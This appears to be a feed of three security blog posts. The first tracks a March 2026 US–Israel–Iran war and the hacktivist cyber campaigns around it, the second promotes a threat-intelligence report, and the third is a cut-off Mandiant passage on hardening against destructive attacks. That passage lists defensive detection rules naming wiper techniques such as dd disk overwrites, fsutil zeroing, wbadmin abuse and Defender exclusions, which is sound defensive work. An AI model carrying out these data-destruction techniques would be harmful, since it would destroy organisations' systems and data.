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Escalation in the Middle East: Tracking “Operation Epic Fury” Across Military and Cyber Domains

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Escalation in the Middle East: Tracking “Operation Epic Fury” Across Military and Cyber Domains

This post tracks the convergence of kinetic warfare, psychological operations, and cyber activity as the conflict expands across the Middle East and beyond.

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March 11, 2026

On February 28, the United States and Israel launched coordinated strikes across Iran under Operation Epic Fury (also referenced in reporting as Operation Lion’s Roar). The opening phase focused on decapitating senior Iranian leadership while degrading missile infrastructure, launch systems, and air defenses. In the hours that followed, Iran initiated large-scale retaliation — expanding the conflict beyond Iranian territory and into a region-wide exchange that touched multiple Gulf states and allied military assets.

Since those initial strikes, the conflict has rapidly widened and accelerated. What began as a concentrated campaign against leadership and missile capabilities has developed into a sustained regional war with an expanding set of targets, including economic and logistical infrastructure. Simultaneously, cyber operations and psychological messaging have been used alongside kinetic action, creating a hybrid operating environment in which disruption is shaped as much by information control and infrastructure compromise as it is by missiles and airstrikes.

Flashpoint analysts are tracking the conflict across physical, cyber, and geopolitical domains. The timeline and sections below summarize key developments and risk indicators observed from February 28 through March 10.

Operation Epic Fury Timeline: March 2026 Conflict Updates

February 28, 2026 — Initial Strikes and Regional Retaliation

Feb 28
07:00 UTC
US and Israeli forces launch coordinated operations targeting Iranian missile sites and strategic infrastructure.
07:30 UTC
Strike reported on Supreme Leader Ali Khamenei’s compound/office in Tehran; subsequent updates describe his death as confirmed.
08:04 UTC
Missile strike hits a girls’ school in Minab; reports indicate significant civilian casualties.
13:30 UTC
Iran retaliates with reported strikes against Jebel Ali port (Dubai) and Camp Arifjan (Kuwait).
15:00 UTC
Ballistic missiles target Al Udeid (Qatar) and Ali Al Salem (Kuwait) air bases.
17:40 UTC
A Shahed-136 drone hits a radar installation at the US Naval Support Activity in Bahrain (5th Fleet-associated).
20:00 UTC
Iran launches a wave of missiles toward Israel (reported as ~125).

In parallel to these events, Flashpoint observed immediate system-level disruption: flight suspensions at Dubai airports following nearby strikes, and Iran’s move to blockade the Strait of Hormuz, elevating global energy and logistics risk.

March 1, 2026 — Air War Over Tehran, Soft Targets, and Hybrid Expansion

By March 1, the conflict had shifted from stand-off strikes to direct air operations over Tehran, signaling degradation of Iran’s integrated air defenses over the capital. Iranian state media described a transition to “offensive defense,” and retaliatory activity expanded across the region.

Notable developments included the reported strike on the Crowne Plaza Hotel in Manama, Bahrain, signaling increased risk to soft targets and commercial environments. Flashpoint also observed indicators of command-and-control friction on the Iranian side, including a reported friendly-fire incident involving the sanctioned “shadow fleet” tanker Skylight.

Mar 1
01:30 UTC
Press TV announces a massive retaliatory wave against US and Israeli bases.
04:45 UTC
A massive explosion rocks Erbil, Iraq, near US and coalition facilities.
05:30 UTC
Israeli Defense Minister Israel Katz confirms IAF jets are now dropping heavy munitions directly over Tehran.
06:15 UTC
The “shadow fleet” tanker Skylight (previously sanctioned by the US) is struck by an Iranian missile in a friendly-fire incident.
07:00 UTC
An Iranian projectile strikes the Crowne Plaza Hotel in Manama, Bahrain, causing multiple civilian casualties.
09:00 UTC
IDF confirms the mobilization of 100,000 reservists to defend against Iran and its regional proxies.
11:30 UTC
Heavy, continuous IAF bombardment of IRGC command-and-control sites in Tehran is reported.
13:15 UTC
An Iranian Shahed drone successfully hits the American Ali Al Salem Air Base in Kuwait.
15:00 UTC
UK Prime Minister Keir Starmer announces the deployment of experienced Ukrainian counter-UAS operators to the Gulf.
18:30 UTC
IDF confirms Hezbollah has begun firing missiles from Lebanon, opening a major new front in the north.
20:00 UTC
IRGC claims waves 7 and 8 of “Operation True Promise 4” are underway, declaring the Ali Al Salem base “completely disabled”.

March 2, 2026 — Infrastructure and Economic Warfare Escalation

Mar 2
Early AM
Iranian Shahed-136 drones strike Saudi Aramco’s Ras Tanura facility.
AM
AWS confirms its UAE data center was impacted by physical attacks, resulting in significant service disruptions.
12:35 UTC
n unmanned drone strikes the runway of the UK’s RAF Akrotiri base in Cyprus.
~17:00 UTC
IDF issues evacuation warnings for Tehran’s Evin district and Southern Beirut.
21:00 UTC
CENTCOM confirms six US service members killed in action (updated figure).
PM
Israeli airstrikes destroy Iran’s national broadcasting headquarters (IRIB) and the Assembly of Experts’ building in Tehran.
Late PM
US forces confirm Iran’s naval capability in the Gulf of Oman has been neutralized (reported sinking of all 11 previously active warships).

March 3, 2026 — Expansion of Infrastructure Warfare and Regional Combat

Mar 3
Early AM
IAF strikes the Iranian Regime’s Leadership Compound, dismantling a heavily secured leadership site.
AM
An Iranian drone attack sets the US Consulate in Dubai on fire; France deploys Rafale jets to protect military bases in the UAE.
~13:00 UTC
An airstrike hits the Defense Ministry’s Iran Electronics Industries facility in Isfahan.
PM
US and Israeli forces destroy Mehrabad Airport in Tehran to prevent regime officials from fleeing.
18:00 UTC
A Farsi-language numbers station appears on 7910 kHz radio frequencies, believed to be transmitting coded instructions to sleeper cells.
PM
The White House releases the full objectives of Operation Epic Fury, defining it as a major combat operation focused on destroying Iran’s missile and naval forces.
Late PM
A GBU-31 bunker-buster strike destroys an IRGC-linked site in Urmia.

March 5, 2026 — Offensive Defense and Geographic Expansion

Mar 5
04:00 UTC
Iranian attack drones strike Nakhchivan International Airport in Azerbaijan, causing explosions near civilian infrastructure.
06:30 UTC
Azerbaijan’s Ministry of Defence places its military on highest alert and prepares potential retaliatory measures.
09:15 UTC
A complex missile and drone attack triggers a major fire at Ali Al Salem Air Base in Kuwait.
11:45 UTC
The Israeli Air Force conducts large-scale strikes against roughly 200 targets in western and central Iran, focusing on ballistic missile launch systems.
18:00 UTC
Iraq’s national power grid reportedly collapses, resulting in a nationwide.

March 6, 2026 — Regime Fragmentation and Strategic Targeting

Mar 6
AM
Approximately 50 Israeli aircraft drop more than 100 bombs on an underground bunker within Tehran’s leadership compound, reportedly eliminating remaining senior regime figures.
AM
US forces destroy a hidden Iranian ballistic missile factory located inside Tehran.
Mid-Day
Israeli Air Force eliminates Hossein Taeb, former head of the IRGC Intelligence Organization, in a targeted strike on his residence.
PM
Azerbaijan begins moving artillery and military equipment toward the Iranian border while evacuating diplomatic personnel from Tehran and Tabriz.
Active
Mehrabad International Airport remains under heavy combined US–Israeli bombardment as strikes continue against remaining regime infrastructure.
Late PM
US leadership issues a public demand for Iran’s “unconditional surrender,” rejecting negotiated settlement proposals.

March 8–9, 2026 — Leadership Consolidation and Hybrid Warfare Expansion

Mar 8
Mar 8
Mojtaba Khamenei is officially appointed Supreme Leader following the death of Ayatollah Ali Khamenei.
Mar 8
Israeli forces kill Abolghasem Babaeian, newly appointed military secretary to the Supreme Leader, in a rapid-response airstrike in Tehran.
22:46 UTC
Hacktivist group Cyber Islamic Resistance claims defacement of the Kurdish Peshmerga special forces website (unverified).
23:23 UTC
Cyber Islamic Resistance claims control of a Saudi medical care application website (unverified).
Mar 9
Mar 9
Bahraini desalination and oil infrastructure is struck, causing injuries and triggering a declaration of force majeure.
Mar 9
Grand Ayatollah Sistani issues a fatwa declaring a “collective religious obligation” for communal defense.
11:12 UTC
Pro-Russian hacktivist group NoName057(16) claims DDoS attacks against Israeli political parties and defense contractor Elbit Systems.
15:26 UTC
Reporting confirms the Iranian MOIS-linked group MuddyWater has infiltrated US aerospace and defense networks.
16:06 UTC
Iran’s nationwide internet blackout enters its sixth day.

March 10, 2026 — Decentralized Retaliation and Economic Pressure

Mar 10
13:35 UTC
Multiple reports indicate that major Iranian banks, including Bank Melli Iran and Bank Sepah, are unable to provide services following suspected cyberattacks.
15:20 UTC
A drone strike hits the Ruwais industrial complex in Abu Dhabi, forcing the shutdown of the Middle East’s largest oil refinery.
18:00 UTC
The UAE Defense Ministry reports intercepting hundreds of projectiles over a 24-hour period, confirming six deaths and more than 120 injuries.

March 1–10, 2026 — Infrastructure Targeting and Internationalization

Between March 1 and March 10, Flashpoint analysis indicates the conflict has evolved from broad regional exchanges into systematic targeting of energy, data, and command-and-control infrastructure with global downstream impact. Key reported incidents included a strike on Saudi Aramco’s facility at Ras Tanura and a disruption at an AWS data center in the UAE attributed to physical impact on the facility. The Israel–Lebanon front also intensified following Hezbollah missile launches and a broad Israeli response across Lebanon. March 2 also featured expanded strikes against Tehran’s state apparatus, including reported destruction of Iran’s national broadcasting headquarters and the Assembly of Experts’ building.

Flashpoint also tracked growing exposure for NATO-aligned assets, including reported damage at RAF Akrotiri (Cyprus). Meanwhile, the UK, France, and Germany signaled readiness to support action focused on Iran’s missile and drone capabilities — an indicator of potential further conflict expansion.

By March 3 and March 4, targeting patterns expanded further to include strategic communications infrastructure and hardened military facilities. Satellite analysis confirmed damage to US military communication nodes and early-warning radar infrastructure across multiple Gulf bases, while naval combat escalated with a US submarine sinking the Iranian frigate IRIS Dena in the Indian Ocean. These developments signal a shift toward degrading regional command-and-control networks alongside continued pressure on energy and logistics infrastructure.

Developments on March 5 further expanded the geographic scope of the conflict. Iranian drone strikes targeted infrastructure in Azerbaijan, drawing the country’s military onto high alert and raising the possibility of a northern expansion of the kinetic theater. At the same time, complex missile and drone attacks continued against US military facilities in the Gulf, including a major strike that caused significant damage at Ali Al Salem Air Base in Kuwait. These developments reflect a continued shift toward distributed regional engagements rather than isolated bilateral exchanges.

Developments on March 6 through March 9 indicate continued degradation of Iranian command infrastructure alongside widening regional impacts. Precision strikes reportedly targeted remaining Iranian leadership compounds and clandestine missile and nuclear facilities, while diplomatic evacuations and military mobilization along Iran’s northern border suggested the potential expansion of the conflict into new geographic theaters. At the same time, infrastructure targeting expanded beyond energy and communications to include water desalination facilities and additional cloud and data infrastructure, highlighting the growing risk to civilian survival systems and regional economic stability.

Developments on March 10 further underscored the economic dimension of the conflict. A drone strike on the Ruwais industrial complex in Abu Dhabi forced the shutdown of the region’s largest oil refinery, while global shipping giant MSC suspended exports from Gulf ports due to continued instability in the Strait of Hormuz. These disruptions highlight how the conflict is increasingly affecting global energy production and maritime supply chains beyond the immediate combat zone.

The Escalating Cyber and Information Front

From the opening hours, Flashpoint assessed that cyber activity in this conflict is not ancillary — it is being used as a synchronized force multiplier.

One of the most consequential developments has been the use of infrastructure compromise for psychological operations at national scale. Flashpoint observed the compromise of the BadeSaba prayer app ecosystem, enabling push notifications to be delivered to large user populations. Messaging included calls for mobilization and later content aimed at regime security forces and protest coordination. This reflects a shift from influence on social platforms toward platform-layer manipulation, where trusted everyday applications become vectors for narrative control during kinetic shock.

Flashpoint also observed disruption and interference affecting state-run Iranian outlets (including IRNA and ISNA), contributing to an information vacuum and driving users toward unverified channels for situational awareness.

As kinetic pressure increased, Flashpoint tracking indicated fluctuations in cyber tempo. Some updates suggested a temporary lull in broader Iranian cyber activity — potentially due to operational disruption from physical strikes — while other indicators pointed to a risk of renewed disruptive campaigns, including activity linked to personas associated with state-aligned hacktivist ecosystems.

On March 2, Flashpoint observed reporting on a coordinated campaign branded #OpIsrael, involving pro-Iranian and pro-Russian-aligned actors, with activity spanning DDoS, data exposure, and claimed intrusions.

  • NoName057(16) + Cyber Islamic Resistance: Claimed large-scale DDoS activity targeting Israeli defense and municipal entities (including Elbit Systems).
  • Cyber Islamic Resistance: Claimed breach of an Israeli health insurance provider and released internal CCTV footage as evidence of access.
  • FAD Team (Iraq’s “Resistance Hub”): Claimed SQL injection activity and PII exposure across a wide set of targets, including US and non-US entities.
  • Fatimion Cyber Team: Claimed disruption targeting Gulf states perceived as US-aligned, including Bahrain and Qatar-linked targets.
  • Infrastructure claims: FAD Team claimed access to firewall monitoring dashboards in Mecca and Medina.

Additional activity observed March 3–4 includes:

  • Handala Team: Claimed a breach of Saudi Aramco infrastructure and released internal documentation and schematics intended to validate the attack. Flashpoint has not verified these claims.
  • PalachPro: Signaled coordination with Iranian hackers to amplify cyber campaigns targeting US and Israeli organizations.
  • NoName057(16): Claimed access to an Israeli water management SCADA system under the ongoing #OpIsrael campaign. These claims remain unverified.
  • Fatemiyoun Electronic Team: Conducted a denial-of-service attack against the Kuwaiti News Agency website.
  • Targeting rhetoric shift: Pro-IRGC propaganda channels began framing major technology companies — including Google — as potential targets due to alleged support of US military operations.

Additional activity reported on March 5 indicates a renewed surge in coordinated cyber operations under the #OpIsrael banner:

  • NoName057(16): Claimed administrative access to Israeli industrial control systems and SCADA interfaces, alleging the ability to manipulate pump activity and water flow. These claims remain unverified but represent a high-risk threat to essential services.
  • Handala Group: Claimed the exfiltration and wiping of approximately 1.3 TB of data from Atlas Insurances Ltd., while simultaneously launching a doxxing campaign targeting individuals alleged to be connected to Israeli intelligence.
  • Fatemiyoun Electronic Team: Claimed responsibility for taking multiple government ministry websites offline in Jordan and Kuwait and releasing personal data from a Kuwaiti government application.
  • Cyber Islamic Resistance (Team 313): Claimed disruptions targeting Bahraini government infrastructure and published images allegedly taken from compromised surveillance camera networks.

Additional activity reported March 6–9 includes:

  • MuddyWater (MOIS / Seedworm): Verified intrusions into US aerospace, defense, aviation, and financial networks using a newly identified backdoor known as “Dindoor.” These operations reportedly began prior to the kinetic phase of the conflict and have continued during the war.
  • Telegram-Based Recruitment Networks: Iranian intelligence is reportedly using Telegram channels to recruit loosely affiliated operatives and criminal intermediaries across Europe for espionage and potential sabotage operations.
  • Handala: Claimed to have wiped Israeli military weather servers and intercepted urban security feeds in Jerusalem (unverified).
  • Cyber Islamic Resistance (Team 313): Claimed multiple website defacements targeting regional institutions, including Kurdish and Saudi organizations (unverified).
  • NoName057(16): Continued distributed denial-of-service attacks under the #OpIsrael banner targeting Israeli political parties, telecommunications companies, and defense contractors.

Additional activity reported March 10 includes:

  • Suspected banking-sector attacks: Multiple reports indicate that Iran’s largest banks, including Bank Melli Iran and Bank Sepah, experienced widespread service disruptions following suspected cyberattacks.
  • NoName057(16): The pro-Russian group continued operations under the #OpIsrael banner, claiming distributed denial-of-service attacks targeting Israeli and Cypriot infrastructure, including Israel’s national water company Mekorot and UAV firm E.M.I.T. Aviation (unverified).
  • BD Anonymous & MrSutrator Alliance: A newly formed pro-Palestinian cyber alliance announced “Operation Electronic Holocaust,” targeting Israeli defense contractor Rafael (unverified).
  • DieNet: The group issued warnings of a potential large-scale cyber campaign targeting Israeli government infrastructure (unverified).

These developments indicate continued expansion of cyber activity across both offensive and retaliatory fronts, including financial infrastructure and public-facing services.

Strategic Chokepoints and Systemic Risk

Two chokepoints have emerged as persistent systemic risk drivers: maritime energy transit and regional air mobility.

Iran’s reported blockade of the Strait of Hormuz remains the primary near-term global economic concern. Flashpoint reporting also indicates an explicit escalation toward energy system disruption, with IRGC messaging framing a “war on energy supplies” and kinetic targeting expanding to oil and gas infrastructure. Even partial disruption introduces immediate volatility in energy markets and maritime logistics, increasing shipping costs, insurance premiums, and delivery delays well beyond the region.

Additional developments reported on March 3 indicate the IRGC has conducted strikes against multiple oil tankers operating in the Strait of Hormuz, further elevating risks to global energy transport. Iran has also declared the waterway effectively closed to most commercial shipping, introducing the possibility of sustained maritime disruption.

Infrastructure targeting has expanded to include desalination facilities and water supply systems in the Gulf. Because these plants provide essential potable water to large urban populations, attacks on desalination infrastructure represent a significant escalation that directly threatens civilian survival systems and urban stability across the region.

Global shipping disruption has also intensified. As of March 10, following continued instability and the effective closure of the Strait of Hormuz, major shipping firms including MSC have suspended exports from Gulf ports, introducing additional pressure on global logistics and energy markets.

Airspace disruption and interruptions to transit hubs — especially the reported suspensions affecting Dubai — compound that risk. Taken together, the maritime and aviation constraints create a reinforcing cycle: constrained routes increase congestion elsewhere, raise operational costs, and compress the time available for organizations to reroute people and goods.

With regional airports and Gulf maritime corridors under threat, organizations should plan for sustained degradation of commercial mobility and service availability rather than short-lived closures.

Business and Security Implications

As the conflict expands into commercial infrastructure and civilian logistics, enterprise exposure now extends well beyond traditional “high-risk” sectors. The targeting patterns observed throughout this conflict indicate that energy infrastructure, cloud assets, maritime corridors, and civilian-facing systems are all within scope.

Organizations should plan for volatility across personnel security, supply chains, cyber disruption, and regional service availability.

1. Personnel and Physical Security

Recent incidents including strikes near Gulf transit hubs, the targeting of a Western-branded hotel in Bahrain, and warnings regarding potential asymmetric attacks underscore that risk is no longer confined to military installations.

  • The US State Department issued an expanded “DEPART NOW” advisory for Americans across 16 Middle Eastern countries, reflecting elevated risk to civilian and commercial environments.
  • US Embassy in Amman reported active “duck and cover” alarms, signaling increased threat pressure on diplomatic facilities beyond core combat zones.
  • Reporting indicates Iranian threats now extend to US bases in Europe, expanding the geographic risk envelope.
  • Drone attacks targeting diplomatic facilities — including the US Consulate in Dubai and attempted strikes on the US Embassy in Riyadh — indicate expanding risk to diplomatic and government installations.
  • Precautionary evacuations have also been implemented near US embassies across several Gulf states as regional tensions and retaliatory threats continue to rise.

Organizations with personnel in the Gulf region and surrounding areas should:

  • Reassess travel posture to the UAE, Qatar, Bahrain, Kuwait, and Saudi Arabia.
  • Elevate security protocols at commercial offices, hotels, and logistics facilities.
  • Reinforce operational security practices (routine variation, avoidance of identifiable clothing tied to government or defense sectors).
  • Coordinate closely with local authorities and diplomatic advisories regarding movement restrictions and emerging threat indicators.

2. Supply Chain and Energy Exposure

The reported blockade of the Strait of Hormuz, disruption to Dubai aviation, and the strike on Saudi Arabia’s Ras Tanura oil facility demonstrate that global energy and logistics systems are active pressure points. Iranian naval forces reportedly struck multiple oil tankers transiting the Strait of Hormuz on March 3, increasing the likelihood of extended maritime disruption and global energy price volatility.

IRGC statements framing a “war on energy supplies” increase the likelihood of sustained pressure on Gulf oil and gas infrastructure. Organizations must reassess exposure not only to energy price volatility, but also to infrastructure-driven availability shocks.

Organizations should:

  • Model extended disruption to Gulf maritime routes rather than short-term interruption.
  • Identify alternative shipping corridors and overland routing options.
  • Stress-test supplier dependencies tied to Gulf ports or energy inputs.
  • Prepare for price volatility and delivery delays impacting downstream operations.

3. Cloud and Technology Infrastructure

The reported physical impact to an AWS data center in the UAE reflects a significant escalation: commercial cloud infrastructure is no longer insulated from kinetic spillover. More recent reporting also indicates Iranian strikes targeting Microsoft Azure data infrastructure in the Gulf, expanding the threat profile to additional Western cloud platforms.

Iranian strikes against early-warning radars and satellite communication terminals across Gulf bases indicate a coordinated effort to degrade regional missile defense networks.

Enterprises should:

  • Confirm geographic redundancy for critical workloads.
  • Validate disaster recovery timelines (RTO/RPO) for Middle East–hosted environments.
  • Review third-party dependencies tied to regional data centers.
  • Ensure executive teams understand potential cascading impacts from localized physical disruption.
  • Organizations operating near or dependent on US or allied military infrastructure in the region should monitor potential disruptions to air defense coverage and communications networks.

4. ICS / OT Environments

Claims of intrusion into industrial control systems — including grain silo logistics and remote control infrastructure — signal elevated risk to operational technology environments. March 2 cyber reporting also emphasized blended risk: cyber operations paired with physical disruption, increasing the chance of cascading outages and degraded visibility during response.

Organizations operating ICS/SCADA systems, particularly in energy, logistics, water, and manufacturing sectors, should:

  • Audit all remote access pathways and eliminate unnecessary external exposure.
  • Enforce phishing-resistant MFA for privileged and engineering accounts.
  • Segment industrial networks from corporate IT and public internet access.
  • Validate incident response plans for destructive malware or system manipulation scenarios.
  • Conduct tabletop exercises assuming loss of visibility or control in critical systems.

What to Expect Next (48–72 Hours)

Flashpoint analysis indicates the conflict is entering a more decentralized phase characterized by hybrid warfare and expanding geographic scope.

Following the formal appointment of Mojtaba Khamenei as Supreme Leader, the Iranian state is expected to maintain a hardline military posture under strong IRGC influence. With conventional military capabilities increasingly degraded, Iranian strategy may rely more heavily on asymmetric tactics, including cyber operations, proxy mobilization, and attacks against economic and civilian infrastructure.

The fatwa issued by Grand Ayatollah Sistani introduces an additional destabilizing variable, potentially mobilizing Shiite militias across Iraq and the broader region. Combined with Kurdish mobilization along Iran’s western border and Azerbaijan’s heightened military posture in the north, the conflict may increasingly involve non-state and regional actors.

At the same time, cyber operations targeting Western defense, aviation, and infrastructure networks are likely to intensify as Iranian-linked actors attempt to expand the conflict’s impact beyond the immediate battlefield.

The activation of Iran’s decentralized “Mosaic Defense” protocol further complicates potential de-escalation. Because retaliatory authority is distributed across regional commanders, localized strike cycles may continue even if diplomatic negotiations emerge at higher political levels. This structure increases the likelihood of continued intermittent attacks across multiple theaters even as international pressure for conflict termination grows.

Ongoing Updates

Flashpoint will continue monitoring developments across physical, cyber, and geopolitical domains. Bookmark this page for updates as the situation evolves.

For organizations seeking deeper visibility into emerging threats, proxy activity, infrastructure targeting, and cross-domain escalation indicators, schedule a demo to see Flashpoint’s intelligence platform deliver timely, decision-ready intelligence.

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The post Escalation in the Middle East: Tracking “Operation Epic Fury” Across Military and Cyber Domains appeared first on Flashpoint.

Navigating 2026’s Converged Threats: Insights from Flashpoint’s Global Threat Intelligence Report

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Navigating 2026’s Converged Threats: Insights from Flashpoint’s Global Threat Intelligence Report

In this post, we preview the critical findings of the 2026 Global Threat Intelligence Report, highlighting how the collapse of traditional security silos and the rise of autonomous, machine-speed attacks are forcing a total reimagining of modern defense.

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March 11, 2026

The cybersecurity landscape has reached a point of total convergence, where the silos that once separated malware, identity, and infrastructure have collapsed into a single, high-velocity threat engine. Simultaneously, the threat landscape is shifting from human-led attacks to machine-speed operations as a result of agentic AI, which acts as a force multiplier for the modern adversary.

Flashpoint’s 2026 Global Threat Intelligence Report

Flashpoint’s 2026 Global Threat Intelligence Report (GTIR) was developed to anchor security leaders — from threat intelligence and vulnerability management teams to physical security professionals and the CISO’s office — with the data required to navigate this year’s greatest threats, rife with infostealers, vulnerabilities, ransomware, and malicious insiders.

Our report uncovers several staggering metrics that illustrate the industrialization of modern cybercrime:

  • AI-related illicit activity skyrocketed by 1,500% in a single month at the end of 2025.
  • 3.3 billion compromised credentials and cloud tokens have turned identity into the primary exploit vector.
  • From January 2025 to December 2025, ransomware incidents rose by 53%, as attackers pivot from technical encryption to “pure-play” identity extortion.
  • Vulnerability disclosures surged by 12% from January 2025 to December 2025, with the window between discovery and mass exploitation effectively vanishing.

These findings are derived from Flashpoint’s Primary Source Collection (PSC), a specialized operating model that collects intelligence directly from original sources, driven by an organization’s unique Priority Intelligence Requirements (PIR). The 2026 Global Threat Intelligence Report leverages this ground-truth data to provide a strategic framework for the year ahead. Download to gain:

  1. A Clear Understanding of the New Convergence Between Identity and AI
    Discover how threat actors are preparing to transition from generative tools to sophisticated agentic frameworks. Learn how 3.3 billion compromised credentials are being weaponized via automated orchestration to bypass legacy defenses and exploit the connective tissue of modern corporate APIs.
  2. Intelligence on the “Franchise Model” of Global Extortion
    Gain deep insight into the professionalized operations of today’s most prolific threat actors. From the industrial efficiency of RaaS groups like RansomHub and Clop to the market dominance of the next generation of infostealer malware, we break down the economics driving today’s cybercrime ecosystem.
  3. A Blueprint for Proactive Defense and Risk Mitigation
    Leverage the latest trends, in-depth analysis, and data-driven insights driven by Primary Source Collection to bolster your security posture by identifying and proactively defending against rising attack vectors.

As attackers automate exploitation of identity, vulnerabilities, and ransomware, defenders who rely on fragmented visibility will fall behind. To keep pace, organizations must ground their decisions in primary-source intelligence that is drawn from adversarial environments, so that decision-makers can get ahead of this accelerating threat cycle.”

Josh Lefkowitz, CEO & Co-Founder at Flashpoint

The Top Threats at a Glance

Our latest report identifies four driving themes shaping the 2026 threat landscape:

2026 Is the Era of Agentic-Based Cyberattacks

Flashpoint identified a 1,500% rise in AI-related illicit discussions between November and December 2025, signaling a rapid transition from criminal curiosity to the active development of malicious frameworks. Built on data pulled from criminal environments and shaped by fraud use cases, these systems scrape data, adjust messaging for specific targets, rotate infrastructure, and learn from failed attempts without the need for constant human involvement.

2026 is the era of agentic-based cyberattacks. We’ve seen a 1,500% increase in AI-related illicit discussions in a single month, signaling increased interest in developing malicious frameworks. The discussions evolve into vibe-coded, AI-supported phishing lures, malware, and cybercrime venues. When iteration becomes cheap through automation, attackers can afford to fail repeatedly until they find a successful foothold.

Ian Gray, Vice President of Cyber Threat Intelligence Operations at Flashpoint

Identity Is the New Exploit

Flashpoint observed over 11.1 million machines infected with infostealers in 2025, fueling a massive inventory of 3.3 billion stolen credentials and cloud tokens. The fundamental mechanics of cybercrime have shifted from breaking in to logging in, as attackers leverage stolen session cookies to behave like legitimate users.

The Patching Window Is Rapidly Closing

Vulnerability disclosures surged by 12% in 2025, with 1 in 3 (33%) vulnerabilities having publicly available exploit code. The strategic gap between discovery and weaponization is increasingly vanishing, as evidenced by mass exploitation of zero-day vulnerabilities in as little as 24 hours after discovery.

Ransomware Is Hacking the Person, Not the Code

As technical defenses against encryption harden, ransomware groups are pivoting to the path of least resistance: human trust. This approach has led to a 53% increase in ransomware, with RaaS groups being responsible for over 87% of all ransomware attacks.

Build Resilience in a Converged Landscape

The findings in the 2026 Global Threat Intelligence Report make one thing clear: incremental improvements to legacy security models are no longer sufficient. As adversaries transition to machine-speed operations, the strategic advantage shifts to organizations that can maintain visibility into the adversarial environments where these attacks are born.

Protecting organizations and communities requires an intelligence-first approach. Download Flashpoint’s 2026 Global Threat Intelligence Report to gain clarity and the data-driven insights needed to safeguard critical assets.

Get Your Copy

The post Navigating 2026’s Converged Threats: Insights from Flashpoint’s Global Threat Intelligence Report appeared first on Flashpoint.

Proactive Preparation and Hardening Against Destructive Attacks: 2026 Edition

6 March 2026 at 15:00

Written by: Matthew McWhirt, Bhavesh Dhake, Emilio Oropeza, Gautam Krishnan, Stuart Carrera, Greg Blaum, Michael Rudden


Background

Threat actors leverage destructive malware to destroy data, eliminate evidence of malicious activity, or manipulate systems in a way that renders them inoperable. Destructive cyberattacks can be a powerful means to achieve strategic or tactical objectives; however, the risk of reprisal is likely to limit the frequency of use to very select incidents. Destructive cyberattacks can include destructive malware, wipers, or modified ransomware.

When conflict erupts, cyber attacks are an inexpensive and easily deployable weapon. It should come as no surprise that instability leads to increases in attacks. This blog post provides proactive recommendations for organizations to prioritize for protecting against a destructive attack within an environment. The recommendations include practical and scalable methods that can help protect organizations from not only destructive attacks, but potential incidents where a threat actor is attempting to perform reconnaissance, escalate privileges, laterally move, maintain access, and achieve their mission. 

The detection opportunities outlined in this blog post are meant to act as supplementary monitoring to existing security tools. Organizations should leverage endpoint and network security tools as additional preventative and detective measures. These tools use a broad spectrum of detective capabilities, including signatures and heuristics, to detect malicious activity with a reasonable degree of fidelity. The custom detection opportunities referenced in this blog post are correlated to specific threat actor behavior and are meant to trigger anomalous activity that is identified by its divergence from normal patterns. Effective monitoring is dependent on a thorough understanding of an organization's unique environment and usage of pre-established baselines.

Organizational Resilience

While the core focus of this blog post is aligned to technical- and tactical-focused security controls, technical preparation and recovery are not the only strategies. Organizations that include crisis preparation and orchestration as key components of security governance can naturally adopt a "living" resilience posture. This includes:

  • Out-of-Band Incident Command and Communication: Establish a pre-validated, "out-of-band" communication platform that is completely decoupled from the corporate identity plane. This ensures that the key stakeholders and third-party support teams can coordinate and communicate securely, even if the primary communication platform is unavailable.

  • Defined Operational Contingency and Recovery Plans: Establish baseline operational requirements, including manual procedures for vital business functions to ensure continuity during restoration or rebuild efforts. Organizations must also develop prioritized application recovery sequences and map the essential dependencies needed to establish a secure foundation for recovery goals.

  • Pre-Establish Trusted Third-Party Vendor Relationships: Based on the range of technologies and platforms vital to business operations, develop predefined agreements with external partners to ensure access to specialists for legal / contractual requirements, incident response, remediation, recovery, and ransomware negotiations.

  • Practice and Refine the Recovery: Conduct exercises that validate the end-to-end restoration of mission-critical services using isolated, immutable backups and out-of-band communication channels, ensuring that recovery timelines (RTO) and data integrity (RPO) are tested, practiced, and current. 

Google Security Operations

Google Security Operations (SecOps) customers have access to these broad category rules and more under the Mandiant Intel Emerging Threats, Mandiant Frontline Threats, Mandiant Hunting Rules, CDIR SCC Enhanced Data Destruction Alerts rule packs. The activity discussed in the blog post is detected in Google SecOps under the rule names:

  • BABYWIPER File Erasure

  • Secure Evidence Destruction And Cleanup Commands

  • CMD Launching Application Self Delete

  • Copy Binary From Downloads

  • Rundll32 Execution Of Dll Function Name Containing Special Character

  • Services Launching Cmd

  • System Process Execution Via Scheduled Task

  • Dllhost Masquerading

  • Backdoor Writing Dll To Disk For Injection

  • Multiple Exclusions Added To Windows Defender In Single Command

  • Path Exclusion Added to Windows Defender

  • Registry Change to CurrentControlSet Services

  • Powershell Set Content Value Of 0

  • Overwrite Disk Using DD Utility

  • Bcdedit Modifications Via Command

  • Disabling Crash Dump For Drive Wiping

  • Suspicious Wbadmin Commands

  • Fsutil File Zero Out

Recommendations Summary

Table 1 provides a high-level overview of guidance in this blog post.

Focus Area

Description

External-Facing Assets

Protect against the risk of threat actors exploiting an externally facing vector or leveraging existing technology for unauthorized remote access.

Critical Asset Protections

Protect specific high-value infrastructure and prepare for recovery from a destructive attack.

On-Premises Lateral Movement Protections

Protect against a threat actor with initial access into an environment from moving laterally to further expand their scope of access and persistence.

Credential Exposure and Account Protections

Protect against the exposure of privileged credentials to facilitate privilege escalation.

Preventing Destructive Actions in Kubernetes and CI/CD Pipelines

Protect the integrity and availability of Kubernetes environments and CI/CD pipelines.

Table 1: Overview of recommendations

1. External-Facing Assets

Identify, Enumerate, and Harden

To protect against a threat actor exploiting vulnerabilities or misconfigurations via an external-facing vector, organizations must determine the scope of applications and organization-managed services that are externally accessible. Externally accessible applications and services (including both on-premises and cloud) are often targeted by threat actors for initial access by exploiting known vulnerabilities, brute-forcing common or default credentials, or authenticating using valid credentials. 

To proactively identify and validate external-facing applications and services, consider:

  • Leveraging a vulnerability scanning technology to identify assets and associated vulnerabilities. 

  • Performing a focused vulnerability assessment or penetration test with the goal of identifying external-facing vectors that could be leveraged for authentication and access.

  • Verifying with technology vendors if the products leveraged by an organization for external-facing services require patches or updates to mitigate known vulnerabilities. 

Any identified vulnerabilities should not only be patched and hardened, but the identified technology platforms should also be reviewed to ensure that evidence of suspicious activity or technology/device modifications have not already occurred.

The following table provides an overview of capabilities to proactively review and identify external-facing assets and resources within common cloud-based infrastructures.

Cloud Provider

Attack Surface Discovery Capability

Google Cloud

Security Command Center

Amazon Web Services

AWS Config / Inspector

Microsoft Azure

Defender External Attack Surface Management (Defender EASM)

